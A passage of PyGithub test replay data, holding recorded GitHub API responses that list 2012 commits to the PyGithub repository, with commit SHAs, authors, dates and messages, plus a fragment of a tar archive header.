arents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/44911bf0906912d468cb88001907955ee318fdf7","sha":"44911bf0906912d468cb88001907955ee318fdf7"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T11:59:56-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/6d51a955d922e92dacf37106a3c52d185fb18423","message":"Fix and add integration tests about events","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T11:59:56-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/c1619a5fa4c612b9d7455bbd4111e074c1110967","sha":"c1619a5fa4c612b9d7455bbd4111e074c1110967"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/44911bf0906912d468cb88001907955ee318fdf7","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"44911bf0906912d468cb88001907955ee318fdf7","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/01fa4d803b4a541759ba906d194f1fa9bc29faa9","sha":"01fa4d803b4a541759ba906d194f1fa9bc29faa9"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T12:54:56-08:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/44911bf0906912d468cb88001907955ee318fdf7","message":"Events: step 1","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T12:54:56-08:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/8e82325aa70d2d0c5dd15c138d44c729a097d7df","sha":"8e82325aa70d2d0c5dd15c138d44c729a097d7df"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/01fa4d803b4a541759ba906d194f1fa9bc29faa9","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"01fa4d803b4a541759ba906d194f1fa9bc29faa9","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/25c76b4b759173fa42cdf3ebd0214a5ce958b2e4","sha":"25c76b4b759173fa42cdf3ebd0214a5ce958b2e4"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T02:12:15-08:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/01fa4d803b4a541759ba906d194f1fa9bc29faa9","message":"Regenerate reference of classes","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T02:12:15-08:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/deae54c27d31b4d5f21daeb48451cdbed301d386","sha":"deae54c27d31b4d5f21daeb48451cdbed301d386"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/25c76b4b759173fa42cdf3ebd0214a5ce958b2e4","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"25c76b4b759173fa42cdf3ebd0214a5ce958b2e4","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/00a832e6d519dac96142f650d6363f24459f9145","sha":"00a832e6d519dac96142f650d6363f24459f9145"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-03T23:56:48-08:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/25c76b4b759173fa42cdf3ebd0214a5ce958b2e4","message":"Restore test coverage","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T01:46:20-08:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/9ad7d85371d98b8cc50686cc0591e98935d7917d","sha":"9ad7d85371d98b8cc50686cc0591e98935d7917d"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/00a832e6d519dac96142f650d6363f24459f9145","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"00a832e6d519dac96142f650d6363f24459f9145","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/f03d86c46e4d5b337514277620dc9adbdc68dba2","sha":"f03d86c46e4d5b337514277620dc9adbdc68dba2"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-03T04:44:54-08:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/00a832e6d519dac96142f650d6363f24459f9145","message":"Hook testing","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T01:46:19-08:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/88beba1a00e40bea9da1c02b613e3859df4105de","sha":"88beba1a00e40bea9da1c02b613e3859df4105de"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/f03d86c46e4d5b337514277620dc9adbdc68dba2","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"f03d86c46e4d5b337514277620dc9adbdc68dba2","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0b8ffcc14c6200dda4f9b11c47d6949b5cd3240b","sha":"0b8ffcc14c6200dda4f9b11c47d6949b5cd3240b"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-03T04:36:01-08:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/f03d86c46e4d5b337514277620dc9adbdc68dba2","message":"Hooks: step 2","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T01:46:18-08:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/a2d2473d5b9f12020bcba798849206c4636fec2f","sha":"a2d2473d5b9f12020bcba798849206c4636fec2f"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0b8ffcc14c6200dda4f9b11c47d6949b5cd3240b","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"0b8ffcc14c6200dda4f9b11c47d6949b5cd3240b","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/f2d89a565f5eb19af605d78762169daec9a701e0","sha":"f2d89a565f5eb19af605d78762169daec9a701e0"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-01T08:35:13-08:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/0b8ffcc14c6200dda4f9b11c47d6949b5cd3240b","message":"Hooks: step 1","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T01:46:17-08:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/122bf2a07918c500e15ae7b9a5ae6eba4c4abf34","sha":"122bf2a07918c500e15ae7b9a5ae6eba4c4abf34"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/f2d89a565f5eb19af605d78762169daec9a701e0","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"f2d89a565f5eb19af605d78762169daec9a701e0","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/924aef7d9f3a21145492ea165c9268ab0030cbab","sha":"924aef7d9f3a21145492ea165c9268ab0030cbab"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-02-23T13:32:44-08:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/f2d89a565f5eb19af605d78762169daec9a701e0","message":"Totos for hooks and events","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T01:46:16-08:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/6c010d7ccbfbb6a0f44c829c08753dc19b71c29e","sha":"6c010d7ccbfbb6a0f44c829c08753dc19b71c29e"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/924aef7d9f3a21145492ea165c9268ab0030cbab","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"924aef7d9f3a21145492ea165c9268ab0030cbab","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/cf3f792b16d2e9e56ba6562e9db55663d4443d87","sha":"cf3f792b16d2e9e56ba6562e9db55663d4443d87"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T01:45:59-08:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/924aef7d9f3a21145492ea165c9268ab0030cbab","message":"Typo...","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T01:45:59-08:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/c2d94eeeeb8eab5793762db56b9d6bdf3070c639","sha":"c2d94eeeeb8eab5793762db56b9d6bdf3070c639"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/cf3f792b16d2e9e56ba6562e9db55663d4443d87","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"cf3f792b16d2e9e56ba6562e9db55663d4443d87","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/5c17275366efd3bc9414958d661d9a017022be6b","sha":"5c17275366efd3bc9414958d661d9a017022be6b"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/3a83cc0b1e40788483398eb89e3671b91d648251","sha":"3a83cc0b1e40788483398eb89e3671b91d648251"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T01:39:25-08:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/cf3f792b16d2e9e56ba6562e9db55663d4443d87","message":"Merge branch 'topic/Coverage' into develop","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T01:39:25-08:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/ff1c6594a40331fca68b664d400269b343360fdd","sha":"ff1c6594a40331fca68b664d400269b343360fdd"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/3a83cc0b1e40788483398eb89e3671b91d648251","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"3a83cc0b1e40788483398eb89e3671b91d648251","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/e0c04877a9a00766d099251512a8bb512a1d37c2","sha":"e0c04877a9a00766d099251512a8bb512a1d37c2"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T01:38:09-08:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/3a83cc0b1e40788483398eb89e3671b91d648251","message":"RepositoryDetails","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T01:38:09-08:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/ff1c6594a40331fca68b664d400269b343360fdd","sha":"ff1c6594a40331fca68b664d400269b343360fdd"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/e0c04877a9a00766d099251512a8bb512a1d37c2","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"e0c04877a9a00766d099251512a8bb512a1d37c2","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/6b89c02872cbcb179d79cb4ceb2436fee02425d0","sha":"6b89c02872cbcb179d79cb4ceb2436fee02425d0"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T01:34:02-08:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/e0c04877a9a00766d099251512a8bb512a1d37c2","message":"AuthenticatedUserDetails","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T01:34:02-08:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/5f178bdb7fdd0f30d84b33e99e41b16a32fa0d9b","sha":"5f178bdb7fdd0f30d84b33e99e41b16a32fa0d9b"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/6b89c02872cbcb179d79cb4ceb2436fee02425d0","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"6b89c02872cbcb179d79cb4ceb2436fee02425d0","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/231ae0778e0bebaac3dc87fa8f602c1560b8164f","sha":"231ae0778e0bebaac3dc87fa8f602c1560b8164f"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T01:21:59-08:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/6b89c02872cbcb179d79cb4ceb2436fee02425d0","message":"Downloads","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T01:21:59-08:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/047599e78ad35674ee8b0ac51d232b2c71b40a6f","sha":"047599e78ad35674ee8b0ac51d232b2c71b40a6f"}}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetCommitsWithArguments.txt0000644000175100001660000002525314756101563026601 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/commits?sha=topic%2FRewriteWithGeneratedCode&path=codegen%2FGenerateCode.py {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4940'), ('content-length', '10375'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"230272c14df3176a86fe041ec1370c1d"'), ('date', 'Tue, 29 May 2012 18:24:41 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/de386d5dc9cf103c90c4128eeca0e6abdd382065","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"de386d5dc9cf103c90c4128eeca0e6abdd382065","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/5b44982f6111bff2454243869df2e1c3086ccbba","sha":"5b44982f6111bff2454243869df2e1c3086ccbba"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-28T10:21:42-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/de386d5dc9cf103c90c4128eeca0e6abdd382065","message":"Rename","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-28T10:21:42-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/1aff37f9b6c7c67f5984c4cf4bff68374a2c6943","sha":"1aff37f9b6c7c67f5984c4cf4bff68374a2c6943"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/5b44982f6111bff2454243869df2e1c3086ccbba","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"5b44982f6111bff2454243869df2e1c3086ccbba","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/d6835ff949141957a733c8ddfa147026515ae493","sha":"d6835ff949141957a733c8ddfa147026515ae493"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-28T10:18:34-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/5b44982f6111bff2454243869df2e1c3086ccbba","message":"Generate code with Unix line endings even on Windows","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-28T10:18:34-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/b62a41a33cf46d342f92783df84d91bab0ff05ea","sha":"b62a41a33cf46d342f92783df84d91bab0ff05ea"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/d6835ff949141957a733c8ddfa147026515ae493","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"d6835ff949141957a733c8ddfa147026515ae493","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/821ac669f212b1e8868567517f8b85f8a7eb04cf","sha":"821ac669f212b1e8868567517f8b85f8a7eb04cf"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-28T09:29:08-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/d6835ff949141957a733c8ddfa147026515ae493","message":"dos2unix","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-28T09:29:08-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/2017a36dd1340a30b24ffcf402fe4dfee28470ef","sha":"2017a36dd1340a30b24ffcf402fe4dfee28470ef"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/075d3d961d4614a2a0835d5583248adfc0687a7d","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"075d3d961d4614a2a0835d5583248adfc0687a7d","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/4bf2e31da745b4857ef7779b8af7de04aca713c2","sha":"4bf2e31da745b4857ef7779b8af7de04aca713c2"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-27T05:30:38-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/075d3d961d4614a2a0835d5583248adfc0687a7d","message":"Generate code for url quoting","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-27T05:30:38-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/fdc159d42b4ef9b3480bef5634a4fc78d81265ea","sha":"fdc159d42b4ef9b3480bef5634a4fc78d81265ea"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/8956796e7f462a49f499eac52fab901cdb59abdb","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"8956796e7f462a49f499eac52fab901cdb59abdb","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/f23ed6341da0fcf7a416d04ad0ab252ed55308a5","sha":"f23ed6341da0fcf7a416d04ad0ab252ed55308a5"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-12T05:12:03-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/8956796e7f462a49f499eac52fab901cdb59abdb","message":"Be explicit about complete-ability","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-12T05:12:03-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/f6c8da120b78da3617c89d530322676ba159d40b","sha":"f6c8da120b78da3617c89d530322676ba159d40b"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/283da5e7de6a4a3b6aaae7045909d70b643ad380","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"283da5e7de6a4a3b6aaae7045909d70b643ad380","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/595e88cd5537208958f90d6727965cc7918f09a7","sha":"595e88cd5537208958f90d6727965cc7918f09a7"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-10T09:26:18-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/283da5e7de6a4a3b6aaae7045909d70b643ad380","message":"Fix code generation and tests after reorganization","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent 